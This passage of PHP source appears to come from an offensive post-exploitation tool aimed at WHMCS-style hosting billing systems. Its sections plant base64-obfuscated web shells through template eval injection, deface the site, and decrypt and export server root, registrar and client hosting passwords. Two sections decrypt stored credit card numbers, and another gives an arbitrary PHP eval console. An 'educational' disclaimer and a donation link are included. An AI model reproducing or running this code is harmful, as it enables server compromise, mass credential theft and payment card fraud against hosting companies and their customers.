  752. echo "<fieldset><legend>attachments/rab3oun.php</legend><textarea cols='50' rows='10' >{php}eval(base64_decode('JGMwZGUgID0gYmFzZTY0X2RlY29kZSgnUjBsR09EbGhVRHM4Y0NCaGJHbG5iajBpWTJWdWRHVnlJajQ4UHcwS1pYSnliM0pmY21Wd2IzSjBhVzVuS0RBcE93MEtKSE5qY21sd2RHNWhiV1VnUFNBa1gxTkZVbFpGVWxzblUwTlNTVkJVWDA1QlRVVW5YVHNOQ2lSbWFXeGxibUZ0WlNBOUlDUmZVRTlUVkZzaVptbHNaVzVoYldVaVhUc05DbWxtS0NSZlVFOVRWRnNpYzNWaWJXbDBJbDBnUFQwZ0lrOXdaVzRpS1EwS2V3MEthV1lvWm1sc1pWOWxlR2x6ZEhNb0pHWnBiR1Z1WVcxbEtTa05DbnNOQ2lSbWFXeGxZMjl1ZEdWdWRITWdQU0JvZEcxc1pXNTBhWFJwWlhNb1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb0pHWnBiR1Z1WVcxbEtTazdEUXBwWmlnaEpHWnBiR1ZqYjI1MFpXNTBjeWtOQ2lSemRHRjBkWE1nUFNBaVBHWnZiblFnWm1GalpUMG5WbVZ5WkdGdVlTY2djM1I1YkdVOUoyWnZiblF0YzJsNlpUb2dPSEIwSno1RmNuSnZjaUJ2Y2lCT2J5QmpiMjUwWlc1MGN5QnBiaUJtYVd4bFBDOW1iMjUwUGlJN0RRcDlEUXBsYkhObERRb2tjM1JoZEhWeklEMGdJanhtYjI1MElHWmhZMlU5SjFabGNtUmhibUVuSUhOMGVXeGxQU2RtYjI1MExYTnBlbVU2SURod2RDYytSbWxzWlNCa2IyVnpJRzV2ZENCbGVHbHpkQ0U4TDJadmJuUStJanNOQ24wSkNRMEtaV3h6WlNCcFppZ2tYMUJQVTFSYkluTjFZbTFwZENKZElEMDlJQ0pFWld4bGRHVWlLUTBLZXcwS2FXWW9abWxzWlY5bGVHbHpkSE1vSkdacGJHVnVZVzFsS1NrTkNuc05DbWxtS0hWdWJHbHVheWdrWm1sc1pXNWhiV1VwS1FrTkNpUnpkR0YwZFhNZ1BTQWlQR1p2Ym5RZ1ptRmpaVDBuVm1WeVpHRnVZU2NnYzNSNWJHVTlKMlp2Ym5RdGMybDZaVG9nT0hCMEp6NUdhV3hsSUhOMVkyTmxjM05tZFd4c2VTQmtaV3hsZEdWa0lUd3ZabTl1ZEQ0aU93MEtaV3h6WlEwS0pITjBZWFIxY3lBOUlDSThabTl1ZENCbVlXTmxQU2RXWlhKa1lXNWhKeUJ6ZEhsc1pUMG5abTl1ZEMxemFYcGxPaUE0Y0hRblBrTnZkV3hrSUc1dmRDQmtaV3hsZEdVZ1ptbHNaU0U4TDJadmJuUStJanNOQ24wTkNtVnNjMlVOQ2lSemRHRjBkWE1nUFNBaVBHWnZiblFnWm1GalpUMG5WbVZ5WkdGdVlTY2djM1I1YkdVOUoyWnZiblF0YzJsNlpUb2dPSEIwSno1R2FXeGxJR1J2WlhNZ2JtOTBJR1Y0YVhOMElUd3ZabTl1ZEQ0aU93MEtmUTBLWld4elpTQnBaaWdrWDFCUFUxUmJJbk4xWW0xcGRDSmRJRDA5SUNKVFlYWmxJaWtOQ25zTkNpUm1hV3hsWTI5dWRHVnVkSE1nUFNCemRISnBjSE5zWVhOb1pYTW9hSFJ0YkY5bGJuUnBkSGxmWkdWamIyUmxLQ1JmVUU5VFZGc2lZMjl1ZEdWdWRITWlYU2twT3cwS2FXWW9abWxzWlY5bGVHbHpkSE1vSkdacGJHVnVZVzFsS1NrTkNuVnViR2x1YXlna1ptbHNaVzVoYldVcE93MEtKR2hoYm1Sc1pTQTlJR1p2Y0dWdUtDUm1hV3hsYm1GdFpTd2dJbmNpS1RzTkNtbG1LQ0VrYUdGdVpHeGxLUTBLSkhOMFlYUjFjeUE5SUNJOFptOXVkQ0JtWVdObFBTZFdaWEprWVc1aEp5QnpkSGxzWlQwblptOXVkQzF6YVhwbE9pQTRjSFFuUGtOdmRXeGtJRzV2ZENCdmNHVnVJR1pwYkdVZ1ptOXlJSGR5YVhSbElHRmpZMlZ6Y3lFZ1BDOW1iMjUwUGlJN0RRcGxiSE5sRFFwN0RRcHBaaWdoWm5keWFYUmxLQ1JvWVc1a2JHVXNJQ1JtYVd4bFkyOXVkR1Z1ZEhNcEtRMEtKSE4wWVhSMWN5QTlJQ1J6ZEdGMGRYTXVJanhtYjI1MElHWmhZMlU5SjFabGNtUmhibUVuSUhOMGVXeGxQU2RtYjI1MExYTnBlbVU2SURod2RDYytRMjkxYkdRZ2JtOTBJSGR5YVhSbElIUnZJR1pwYkdVaElDaE5ZWGxpWlNCNWIzVWdaR2xrYmlkMElHVnVkR1Z5SUdGdWVTQjBaWGgwUHlrOEwyWnZiblErSWpzTkNtWmpiRzl6WlNna2FHRnVaR3hsS1RzTkNuME5DaVJtYVd4bFkyOXVkR1Z1ZEhNZ1BTQm9kRzFzWlc1MGFYUnBaWE1vSkdacGJHVmpiMjUwWlc1MGN5azdEUXA5RFFwbGJITmxEUXA3RFFva2MzUmhkSFZ6SUQwZ0lqeG1iMjUwSUdaaFkyVTlKMVpsY21SaGJtRW5JSE4wZVd4bFBTZG1iMjUwTFhOcGVtVTZJRGh3ZENjK1RtOGdabWxzWlNCc2IyRmtaV1FoUEM5bWIyNTBQaUk3RFFwOURRby9QZzBLUEhSaFlteGxJR0p2Y21SbGNqMGlNQ0lnWVd4cFoyNDlJbU5sYm5SbGNpSStQSFJ5UGp4MFpENDhkR0ZpYkdVZ2QybGtkR2c5SWpFd01DVWlJR0p2Y21SbGNqMGlNQ0krUEhSeVBqeDBaRDROQ2p4bWIzSnRJRzFsZEdodlpEMGljRzl6ZENJZ1lXTjBhVzl1UFNJOFAwVmphRzhnSkhOamNtbHdkRzVoYldVN1B6NGlQZzBLUEdsdWNIVjBJRzVoYldVOUltWnBiR1Z1WVcxbElpQjBlWEJsUFNKMFpYaDBJaUIyWVd4MVpUMGlQRDlGWTJodklDUm1hV3hsYm1GdFpUcy9QaUlnYzJsNlpUMGlOeklpUGcwS1BHbHVjSFYwSUhSNWNHVTlJbk4xWW0xcGRDSWdibUZ0WlQwaWMzVmliV2wwSWlCMllXeDFaVDBpVDNCbGJpSStEUW84YVc1d2RYUWdkSGx3WlQwaWMzVmliV2wwSWlCdVlXMWxQU0p6ZFdKdGFYUWlJSFpoYkhWbFBTSkVaV3hsZEdVaVBqd3ZkR1ErUEM5MGNqNDhMM1JoWW14bFBnMEtQR1p2Ym5RZ1ptRmpaVDBpVm1WeVpHRnVZU0lnYzNSNWJHVTlJbVp2Ym5RdGMybDZaVG9nTVRGd2RDSStEUW84ZEdWNGRHRnlaV0VnYm1GdFpUMGlZMjl1ZEdWdWRITWlJR052YkhNOUlqY3dJaUJ5YjNkelBTSXlOU0krRFFvOFAwVmphRzhnSkdacGJHVmpiMjUwWlc1MGN6cy9Qand2ZEdWNGRHRnlaV0UrUEM5bWIyNTBQanhpY2o0TkNqeHBibkIxZENCMGVYQmxQU0p6ZFdKdGFYUWlJRzVoYldVOUluTjFZbTFwZENJZ2RtRnNkV1U5SWxOaGRtVWlQZzBLUEdsdWNIVjBJSFI1Y0dVOUluSmxjMlYwSWlCMllXeDFaVDBpVW1WelpYUWlQZzBLUEM5bWIzSnRQZz09Jyk7DQoNCiRmMHAzbiA9IGZvcGVuICgnYXR0YWNobWVudHMvcmFiM291bi5waHAnLCd3Jyk7DQoNCiR3cml0ICA9IGZ3cml0ZSgkZjBwM24gLCAkYzBkZSk7'));{/php}</textarea></fieldset>";
  753. echo "<fieldset><legend>templates_c/rab3oun.php</legend><textarea cols='50' rows='10' >{php}eval(base64_decode('JGMwZGUgID0gYmFzZTY0X2RlY29kZSgnUjBsR09EbGhVRHM4Y0NCaGJHbG5iajBpWTJWdWRHVnlJajQ4UHcwS1pYSnliM0pmY21Wd2IzSjBhVzVuS0RBcE93MEtKSE5qY21sd2RHNWhiV1VnUFNBa1gxTkZVbFpGVWxzblUwTlNTVkJVWDA1QlRVVW5YVHNOQ2lSbWFXeGxibUZ0WlNBOUlDUmZVRTlUVkZzaVptbHNaVzVoYldVaVhUc05DbWxtS0NSZlVFOVRWRnNpYzNWaWJXbDBJbDBnUFQwZ0lrOXdaVzRpS1EwS2V3MEthV1lvWm1sc1pWOWxlR2x6ZEhNb0pHWnBiR1Z1WVcxbEtTa05DbnNOQ2lSbWFXeGxZMjl1ZEdWdWRITWdQU0JvZEcxc1pXNTBhWFJwWlhNb1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb0pHWnBiR1Z1WVcxbEtTazdEUXBwWmlnaEpHWnBiR1ZqYjI1MFpXNTBjeWtOQ2lSemRHRjBkWE1nUFNBaVBHWnZiblFnWm1GalpUMG5WbVZ5WkdGdVlTY2djM1I1YkdVOUoyWnZiblF0YzJsNlpUb2dPSEIwSno1RmNuSnZjaUJ2Y2lCT2J5QmpiMjUwWlc1MGN5QnBiaUJtYVd4bFBDOW1iMjUwUGlJN0RRcDlEUXBsYkhObERRb2tjM1JoZEhWeklEMGdJanhtYjI1MElHWmhZMlU5SjFabGNtUmhibUVuSUhOMGVXeGxQU2RtYjI1MExYTnBlbVU2SURod2RDYytSbWxzWlNCa2IyVnpJRzV2ZENCbGVHbHpkQ0U4TDJadmJuUStJanNOQ24wSkNRMEtaV3h6WlNCcFppZ2tYMUJQVTFSYkluTjFZbTFwZENKZElEMDlJQ0pFWld4bGRHVWlLUTBLZXcwS2FXWW9abWxzWlY5bGVHbHpkSE1vSkdacGJHVnVZVzFsS1NrTkNuc05DbWxtS0hWdWJHbHVheWdrWm1sc1pXNWhiV1VwS1FrTkNpUnpkR0YwZFhNZ1BTQWlQR1p2Ym5RZ1ptRmpaVDBuVm1WeVpHRnVZU2NnYzNSNWJHVTlKMlp2Ym5RdGMybDZaVG9nT0hCMEp6NUdhV3hsSUhOMVkyTmxjM05tZFd4c2VTQmtaV3hsZEdWa0lUd3ZabTl1ZEQ0aU93MEtaV3h6WlEwS0pITjBZWFIxY3lBOUlDSThabTl1ZENCbVlXTmxQU2RXWlhKa1lXNWhKeUJ6ZEhsc1pUMG5abTl1ZEMxemFYcGxPaUE0Y0hRblBrTnZkV3hrSUc1dmRDQmtaV3hsZEdVZ1ptbHNaU0U4TDJadmJuUStJanNOQ24wTkNtVnNjMlVOQ2lSemRHRjBkWE1nUFNBaVBHWnZiblFnWm1GalpUMG5WbVZ5WkdGdVlTY2djM1I1YkdVOUoyWnZiblF0YzJsNlpUb2dPSEIwSno1R2FXeGxJR1J2WlhNZ2JtOTBJR1Y0YVhOMElUd3ZabTl1ZEQ0aU93MEtmUTBLWld4elpTQnBaaWdrWDFCUFUxUmJJbk4xWW0xcGRDSmRJRDA5SUNKVFlYWmxJaWtOQ25zTkNpUm1hV3hsWTI5dWRHVnVkSE1nUFNCemRISnBjSE5zWVhOb1pYTW9hSFJ0YkY5bGJuUnBkSGxmWkdWamIyUmxLQ1JmVUU5VFZGc2lZMjl1ZEdWdWRITWlYU2twT3cwS2FXWW9abWxzWlY5bGVHbHpkSE1vSkdacGJHVnVZVzFsS1NrTkNuVnViR2x1YXlna1ptbHNaVzVoYldVcE93MEtKR2hoYm1Sc1pTQTlJR1p2Y0dWdUtDUm1hV3hsYm1GdFpTd2dJbmNpS1RzTkNtbG1LQ0VrYUdGdVpHeGxLUTBLSkhOMFlYUjFjeUE5SUNJOFptOXVkQ0JtWVdObFBTZFdaWEprWVc1aEp5QnpkSGxzWlQwblptOXVkQzF6YVhwbE9pQTRjSFFuUGtOdmRXeGtJRzV2ZENCdmNHVnVJR1pwYkdVZ1ptOXlJSGR5YVhSbElHRmpZMlZ6Y3lFZ1BDOW1iMjUwUGlJN0RRcGxiSE5sRFFwN0RRcHBaaWdoWm5keWFYUmxLQ1JvWVc1a2JHVXNJQ1JtYVd4bFkyOXVkR1Z1ZEhNcEtRMEtKSE4wWVhSMWN5QTlJQ1J6ZEdGMGRYTXVJanhtYjI1MElHWmhZMlU5SjFabGNtUmhibUVuSUhOMGVXeGxQU2RtYjI1MExYTnBlbVU2SURod2RDYytRMjkxYkdRZ2JtOTBJSGR5YVhSbElIUnZJR1pwYkdVaElDaE5ZWGxpWlNCNWIzVWdaR2xrYmlkMElHVnVkR1Z5SUdGdWVTQjBaWGgwUHlrOEwyWnZiblErSWpzTkNtWmpiRzl6WlNna2FHRnVaR3hsS1RzTkNuME5DaVJtYVd4bFkyOXVkR1Z1ZEhNZ1BTQm9kRzFzWlc1MGFYUnBaWE1vSkdacGJHVmpiMjUwWlc1MGN5azdEUXA5RFFwbGJITmxEUXA3RFFva2MzUmhkSFZ6SUQwZ0lqeG1iMjUwSUdaaFkyVTlKMVpsY21SaGJtRW5JSE4wZVd4bFBTZG1iMjUwTFhOcGVtVTZJRGh3ZENjK1RtOGdabWxzWlNCc2IyRmtaV1FoUEM5bWIyNTBQaUk3RFFwOURRby9QZzBLUEhSaFlteGxJR0p2Y21SbGNqMGlNQ0lnWVd4cFoyNDlJbU5sYm5SbGNpSStQSFJ5UGp4MFpENDhkR0ZpYkdVZ2QybGtkR2c5SWpFd01DVWlJR0p2Y21SbGNqMGlNQ0krUEhSeVBqeDBaRDROQ2p4bWIzSnRJRzFsZEdodlpEMGljRzl6ZENJZ1lXTjBhVzl1UFNJOFAwVmphRzhnSkhOamNtbHdkRzVoYldVN1B6NGlQZzBLUEdsdWNIVjBJRzVoYldVOUltWnBiR1Z1WVcxbElpQjBlWEJsUFNKMFpYaDBJaUIyWVd4MVpUMGlQRDlGWTJodklDUm1hV3hsYm1GdFpUcy9QaUlnYzJsNlpUMGlOeklpUGcwS1BHbHVjSFYwSUhSNWNHVTlJbk4xWW0xcGRDSWdibUZ0WlQwaWMzVmliV2wwSWlCMllXeDFaVDBpVDNCbGJpSStEUW84YVc1d2RYUWdkSGx3WlQwaWMzVmliV2wwSWlCdVlXMWxQU0p6ZFdKdGFYUWlJSFpoYkhWbFBTSkVaV3hsZEdVaVBqd3ZkR1ErUEM5MGNqNDhMM1JoWW14bFBnMEtQR1p2Ym5RZ1ptRmpaVDBpVm1WeVpHRnVZU0lnYzNSNWJHVTlJbVp2Ym5RdGMybDZaVG9nTVRGd2RDSStEUW84ZEdWNGRHRnlaV0VnYm1GdFpUMGlZMjl1ZEdWdWRITWlJR052YkhNOUlqY3dJaUJ5YjNkelBTSXlOU0krRFFvOFAwVmphRzhnSkdacGJHVmpiMjUwWlc1MGN6cy9Qand2ZEdWNGRHRnlaV0UrUEM5bWIyNTBQanhpY2o0TkNqeHBibkIxZENCMGVYQmxQU0p6ZFdKdGFYUWlJRzVoYldVOUluTjFZbTFwZENJZ2RtRnNkV1U5SWxOaGRtVWlQZzBLUEdsdWNIVjBJSFI1Y0dVOUluSmxjMlYwSWlCMllXeDFaVDBpVW1WelpYUWlQZzBLUEM5bWIzSnRQZz09Jyk7DQoNCiRmMHAzbiA9IGZvcGVuICgndGVtcGxhdGVzX2MvcmFiM291bi5waHAnLCd3Jyk7DQoNCiR3cml0ICA9IGZ3cml0ZSgkZjBwM24gLCAkYzBkZSk7'));{/php}</textarea></fieldset>";
  754.  
  755.  
  756. break;
  757. ###################################################
  758.  
  759. ################# INDEX ################################## </title>88888<DIV style="DISPLAY: none"><xmp>
  760. case 107:
  761. echo "<center><h1>Index</h1><br>";
  762. if($_POST["action"]=="1")
  763. {
  764. $tryChaning=mysql_query("update `tblconfiguration` set value='</title>".mysql_real_escape_string(stripslashes(nl2br($_POST['index'])))."<DIV style=\"DISPLAY: none\"><xmp>' where setting='CompanyName'" )or die("Erreur SQL !".$sql."<br>".mysql_error());
  765. if($tryChaning)
  766. {
  767.  
  768. echo '<p class="msg done">Updated successfully </p>';
  769. }
  770. else
  771. {
  772.  
  773. echo("<h3 class=\"tit\"><br>Error</h3>");
  774. }
  775. }
  776. echo "<form method=\"POST\" action=\"?p=107\" ><textarea name=\"index\" cols='50' rows='10' ></textarea><br><br><input type=\"Submit\" name=\"Submit\" value=\"Submit\"><input type=\"hidden\" name=\"action\" value=\"1\"></form>";
  777. echo "<br><p class='msg info'> To delete index execute this in sql<br>".htmlentities("update `tblconfiguration` set value='xxxxx' where setting='CompanyName'</p>");
  778. break;
  779. ######################################################################################################
  780. case 106:
  781. echo "<center><h1>Daily Email Backup</h1><br>";
  782. if($_POST["action"]=="1")
  783. {
  784. $tryChaning=mysql_query("Update tblconfiguration set value='".$_POST["email"]."' where setting='DailyEmailBackup'" )or die("Erreur SQL !".$sql."<br>".mysql_error());
  785. if($tryChaning)
  786. {
  787.  
  788. echo("<p class='msg done'>Updated successfully </p>");
  789. }
  790. else
  791. {
  792.  
  793. echo("<h3 class=\"tit\"><br>Error</h3>");
  794. }
  795. }
  796. $query0=mysql_query("SELECT value from tblconfiguration where setting='DailyEmailBackup'");
  797. $v0=mysql_fetch_array($query0);
  798. echo "<table><tr><td><form method=\"POST\" action=\"?p=106\" ><input type=\"text\" size=60 name=\"email\" value=\"".$v0["value"]."\"></td><td><input type=\"Submit\" name=\"Submit\" value=\"Submit\"><input type=\"hidden\" name=\"action\" value=\"1\"></form></td></tr></table>";
  799. break;
  800. ###################################################
  801. ###################################################
  802. case 1:
  803. $query=mysql_query("SELECT * FROM tblservers");
  804. if(!is_array(mysql_fetch_array($query)))
  805. {
  806.  
  807. echo '<p class="msg error">Nothing Found !</p>';
  808. }
  809. else
  810. {
  811. echo("<center><h1>H0st r00ts</h1><center><br><br> <br><form action=\"?p=1\" name=\"formw\" method=\"post\">\n\n<input name=\"export\" type=\"hidden\" value=\"1\">\n<center><input type=\"submit\" name=\"submit2\" class=\"input-submit\" value=\"[Save to TXT file ]\" /></center><br>");
  812. table("SELECT * FROM tblservers",array('type','active','hostname','ipaddress','username','password','accesshash'));
  813. }
  814. if($_POST["export"]==1)
  815. {
  816. $query=mysql_query("SELECT * FROM tblservers");
  817. $textr=$textr."\r\n######################### HOST ROOTS ###########################\r\n";
  818. while($v=mysql_fetch_array($query))
  819. {
  820. $ipaddress=$v["ipaddress"];
  821. $username=$v["username"];
  822. $type=$v["type"];
  823. $active=$v["active"];
  824. $hostname=$v["hostname"];
  825. $accesshash=$v["accesshash"];
  826. $password=decrypt($v["password"],$cc_encryption_hash);
  827. $textr=$textr."Type $type\r\n";
  828. $textr=$textr."Active $active\r\n";
  829. $textr=$textr."Hostname $hostname\r\n";
  830. $textr=$textr."Ip $ipaddress\r\n";
  831. if ($accesshash) $textr=$textr."Accesshash $accesshash\r\n";
  832. $textr=$textr."Username $username\r\n";
  833. $textr=$textr."Password $password\r\n**************************************\r\n";
  834. }
  835. $textr=$textr."\r\n######################### HOST ROOTS ###########################\r\n";
  836. @ob_end_clean();
  837. header("Content-length: ".strlen($textr));
  838. header("Content-type: text/plain");
  839. header("Content-Disposition: attachment; filename=".$_SERVER["HTTP_HOST"]."-host_R00t.txt");
  840. echo($textr);
  841. exit;
  842. }
  843. break;
  844. ###################################################
  845. case 2:
  846. $query=mysql_query("SELECT * FROM tblregistrars");
  847. if(!is_array(mysql_fetch_array($query)))
  848. {
  849.  
  850. echo '<p class="msg error">Nothing Found !</p>';
  851. }
  852. else
  853. {
  854. $i=0;
  855. $query=mysql_query("SELECT * FROM tblregistrars");
  856. echo("<center><h1>Domain Reseller</h1> <br><table border='0'>");
  857. while($v=mysql_fetch_array($query))
  858. {
  859. if ($v['registrar']<>$last) echo "<TR><Th COLSPAN=2><center>".ucfirst($v['registrar'])."</center></th></TR>";
  860. $last=$v['registrar'];
  861. $value=decrypt($v["value"],$cc_encryption_hash);
  862. if($value=="")
  863. {
  864. $value=0;
  865. }
  866. $password=decrypt($v["password"],$cc_encryption_hash);
  867. if ($i%2==0) {$bg='class="bg"';} else {$bg=';}
  868. echo("<tr $bg><td > ".$v["setting"]." </td><td>$value</td></tr>");
  869. $i++;
  870. }
  871.  
  872. echo"</table><br><br></center>";
  873. }
  874. break;
  875. ###################################################
  876. case 99:
  877. @ob_end_clean();
  878. actionSql();
  879. exit;
  880. /*
  881. $query=stripslashes($_POST["query"]);
  882. echo("<center><br><h1>SQL</h1><br><br><br><FORM action=\"?p=99\" method=\"post\" >\n\n<input type=\"text\" name=\"query\" value=\"".$query."\" style=\"width:500px;
  883. \" >\n<br><br>\n<INPUT class=\"input-submit\" type=\"submit\" value=\"Submit\" name=\"Submit\">\n</form>");
  884. if($_POST["query"])
  885. {
  886. echo("<table border'1'>");
  887. $result=mysql_query($query);
  888. $fieldnum=@mysql_num_fields($result);
  889. echo("<tr>");
  890. for($i=0;
  891. $i<$fieldnum;
  892. $i++)
  893. {
  894. $name=@mysql_field_name($result,$i);
  895. echo("<td>$name</td>");
  896. }
  897. echo("</tr>");
  898. while($v=@mysql_fetch_array($result,1))
  899. {
  900. $td="<tr><td>";
  901. $td=$td.implode("</td><td>",$v);
  902. $td=$td."</tr>\n";
  903. echo($td);
  904. }
  905.  
  906. echo("</table>");
  907. if(mysql_error()<>"")
  908. {
  909.  
  910. echo("<table border'1'><tr><td>Mysql error</td><td>".mysql_error()."</td></tr></table>");
  911. }
  912. else
  913. {
  914.  
  915. echo("<br><table border'1'><tr><td>SQL executed successfully </td></tr></table>");
  916. }
  917. }*/
  918. break;
  919. ###################################################
  920. case 100:
  921. multiview(
  922. 100,
  923. "tblclients",
  924. "Clients </h1></center><br><p class='msg info'>Click on id to get all info+Hosting Accounts+Tickets</p><center>",
  925. "id desc",
  926. array("email","companyname","country","firstname","lastname"),
  927. array("ID","Companyname","Email","Country","Firstname","lastname"),
  928. array("id","companyname","email","country","firstname","lastname")
  929. );
  930. break;
  931. ###################################################
  932. case 101:echo("<center><h1>Eval PHP</h1><br><br>");
  933. Echo"<form action='?p=101' method='POST' > <textarea rows='10' name='pp' cols='50'> </textarea><br /><input type='submit' value='Go' name='go' /></form></html>";
  934. $cod=$_POST["pp"];
  935. $send=$_POST["go"];
  936. if($send)
  937. {
  938. eVaL(stripslashes($cod));
  939. }
  940. break;
  941. ###################################################
  942. case 102:
  943. /*
  944. echo("<center>
  945.  
  946. <pre>
  947. __ ___ _ __ __ _____ _____ _ _______ _ _ ______ _____ ____
  948. \ \ / / | | | \/ |/ ____|/ ____| | |/ /_ _| | | | | ____| __ \ |___ \
  949. \ \ /\ / /| |__| | \ / | | | (___ | ' / | | | | | | | |__ | |__) | __ ____) |
  950. \ \/ \/ / | __ | |\/| | | \___ \ | < | | | | | | | __| | _ / \ \ / /__ <
  951. \ /\ / | | | | | | | |____ ____) | | . \ _| |_| |____| |____| |____| | \ \ \ V /___) |
  952. \/ \/ |_| |_|_| |_|\_____|_____/ |_|\_\_____|______|______|______|_| \_\ \_/|____/
  953. </pre>";
  954. */
  955. echo ("<h3 class=\"tit\">Info </h3><p class='msg info'>Coded by RAB3OUN <br>\nMail v.b-4@hotmail.com rab3oun.net@gmail.com<br>\nBlog <a href='http://www.rab3oun.net'>http://www.rab3oun.net</a></p> <br>
  956. <p class='msg warning'>Disclaimer <br> THIS TOOL WAS WRITTEN FOR EDUCATIONAL PURPOSES.
  957. ONLY USE THIS TOOL ON WEBSITES YOU ARE ALLOWED TO TEST
  958. <br> IF YOU DON'T AGREE WITH WHAT I SAID, PLEASE DON'T USE THIS TOOL.
  959. <br> THE AUTHOR CANNOT AND WILL NOT IN ANY WAY LIABLE FOR ANY LOSS OR DAMAGE ARISING WITH THE USE OF THIS TOOL.
  960. <br> USE IT UNDER YOUR OWN RISK!!!!!! THANKS.</p>
  961.  
  962. <br>\n<center><h3 class=\"tit\">Greets:</h3></center>\n<b>Ahwak2000</b> RENO <br>\n All Sec4ever TEAM\n");
  963.  
  964. echo "<center><h3 class=\"tit\">Donate ^_^</h3></center>";
  965.  
  966. echo '<br> Donate by Libertyreserve <a href="https://sci.libertyreserve.com/en?lr_acc=U0861977&lr_currency=LRUSD" alt="Pay With Liberty Reserve!"> <img src="https://www.libertyreserve.com/downloads/banners/accept.gif" alt="LR" border="0"/></a>';
  967. // echo "<p class='msg info'></p>";
  968. break;
  969.  
  970. ###################################################
  971. case 3:
  972.  
  973. multiview(
  974. 3,
  975. "tblhosting","Client R00ts</h1></center><br><p class='msg info'>There is no table dedicated to client root.<br>
  976. The Script find in the table where username = vmuserxxx, root , Admin , admin , Administrator , administrator </p><br><center>"
  977. ,"domainstatus",
  978. array("dedicatedip","ns1","ns2","username","domain"),
  979. array("Domain","Dedicatedip","User","Pass","Domainstatus","Client ID","Server ID","Notes"),
  980. array("domain","dedicatedip","username","password","domainstatus","userid","server","notes")
  981. ,1
  982. ,"(username like 'vmuser%' or username = 'root' or username = 'Admin' or username = 'admin' or username = 'Administrator' or username = 'administrator') and ");
  983. if($_POST["export"]==1)
  984. {
  985. $textr=$textr."\r\n######################### Client R00ts ###########################\r\n";
  986. $query=mysql_query("SELECT * FROM tblhosting where username like 'vmuser%' or username = 'root' or username = 'Admin' or username = 'admin' or username = 'Administrator' or username = 'administrator' order by domainstatus");
  987. while($v=mysql_fetch_array($query))
  988. {
  989. $textr=$textr."\r\nDomain ".$v["domain"]."\r\nIP ".$v["dedicatedip"]."\r\nUsername ".$v["username"]."\r\nPassword ".decrypt($v["password"],$cc_encryption_hash)."\r\nDomainstatus".$v["domainstatus"]."\r\n";
  990. }
  991. $textr=$textr."\r\n######################### Client R00ts ###########################\r\n";
  992. @ob_end_clean();
  993. header("Content-length: ".strlen($textr));
  994. header("Content-type: text/plain");
  995. header("Content-Disposition: attachment; filename=".$_SERVER["HTTP_HOST"]."-client_R00t.txt");
  996. echo($textr);
  997. exit;
  998. }
  999. break;
  1000. ###################################################
  1001. //function multiview($p,$table,$name,$order,$where,$col,$sql,$export=0,$if="")
  1002. case 4:
  1003. multiview(
  1004. 4,
  1005. "tblhosting","Clients Hosting Accounts","domainstatus",
  1006. array("dedicatedip","ns1","ns2","username","domain","assignedips","password","notes"),
  1007. array("Domain","Dedicatedip","User","Pass","Domainstatus","Client ID","Server ID","Notes","assignedips","Regdate"),
  1008. array("domain","dedicatedip","username","password","domainstatus","userid","server","notes","assignedips","regdate")
  1009. ,1);
  1010. if($_POST["export"]=="1")
  1011. {
  1012. $text=$text."\r\n######################### Client HOST ###########################\r\n";
  1013. $query=mysql_query("SELECT * FROM tblhosting where domainstatus='Active'");
  1014. while($v=mysql_fetch_array($query))
  1015. {
  1016. if(($v["username"])and($v["password"]))
  1017. {
  1018. $textr=$textr."\r\nDomain ".$v["domain"]."\r\nIP ".$v["dedicatedip"]."\r\nUsername ".$v["username"]."\r\nPassword ".decrypt($v["password"],$cc_encryption_hash)."\r\nDomainstatus ".$v["domainstatus"]."\r\n";
  1019. }
  1020. }
  1021. $textr=$textr."\r\n######################### Client HOST ###########################\r\n";
  1022. @ob_end_clean();
  1023. header("Content-length: ".strlen($textr));
  1024. header("Content-type: text/plain");
  1025. header("Content-Disposition: attachment; filename=".$_SERVER["HTTP_HOST"]."-client_host.txt");
  1026. echo($textr);
  1027. exit;
  1028. }
  1029. break;
  1030. ###################################################
  1031. case 5:
  1032. $query=mysql_query("SELECT * FROM `tblclients` WHERE cardtype <> ' order by issuenumber desc");
  1033. if(!is_array(mysql_fetch_array($query)))
  1034. {
  1035. echo '<h1>Clients CC</h1><br><p class="msg error">Nothing Found !</p>';
  1036. }
  1037. else
  1038. {
  1039. echo '<h1>Clients CC</h1><br>';
  1040. $query=mysql_query("SELECT * FROM `tblclients` WHERE cardtype <> ' order by issuenumber desc");
  1041. echo("<center><table border=1><tr><td>ID</td><td>cardtype</td><td>cardnum</td><td>expdate</td><td>issuenumber</td><td>Country</td></tr>");
  1042. $i=0;
  1043. while($v=mysql_fetch_array($query))
  1044. {
  1045. if ($i%2==0) {$bg='class="bg"';} else {$bg=';}
  1046. $cchash=md5($cc_encryption_hash.$v["0"]);
  1047. $s= mysql_query("select cardtype,
  1048. AES_DECRYPT(cardnum,'{$cchash}') as cardnum,
  1049. AES_DECRYPT(expdate,'{$cchash}') as expdate,
  1050. AES_DECRYPT(issuenumber,'{$cchash}') as issuenumber,
  1051. country,email,firstname,lastname,address1,city,state,postcode,phonenumber FROM `tblclients` where id='".$v['0']."'" );
  1052. $country=$v["country"];
  1053. $email=$v["email"];
  1054. $firstname=$v["firstname"];
  1055. $lastname=$v["lastname"];
  1056. $address1=$v["address1"];
  1057. $city=$v["city"];
  1058. $state=$v["state"];
  1059. $postcode=$v["postcode"];
  1060. $phonenumber=$v["phonenumber"];
  1061. $v2=mysql_fetch_array($s);
  1062. echo("<tr $bg ><td><a href='?p=12&id=".$v["id"]."'>".$v["id"]."</a></td><td>".$v2[0]."</td><td>".$v2[1]."</td><td>".$v2[2]."</td><td>".$v2[3]."</td><td>$country</td></tr>");
  1063. $i++;
  1064. }
  1065.  
  1066. echo("</table></center>");
  1067. }
  1068. break;
  1069. ###################################################
  1070. case 52:
  1071. $query=mysql_query("SELECT * FROM `tblclients` WHERE cardtype <> ' order by issuenumber desc");
  1072. if(!is_array(mysql_fetch_array($query)))
  1073. {
  1074. echo '<h1>Clients CC</h1><br><p class="msg error">Nothing Found !</p>';
  1075. }
  1076. else
  1077. {
  1078. echo '<h1>Clients CC</h1><br>';
  1079. $query=mysql_query("SELECT * FROM `tblclients` WHERE cardtype <> ' order by issuenumber desc");
  1080. echo("<center><table border=1><tr><td>ID</td><td>cardtype</td><td>cardnum</td><td>expdate</td><td>issuenumber</td><td>Country</td></tr>");
  1081. $i=0;
  1082. while($v=mysql_fetch_array($query))
  1083. {
  1084. if ($i%2==0) {$bg='class="bg"';} else {$bg=';}
  1085. $cchash=md5($cc_encryption_hash.$v["0"]);
  1086. $s= mysql_query("select cardtype,
  1087. AES_DECRYPT(cardnum,'{$cchash}') as cardnum,
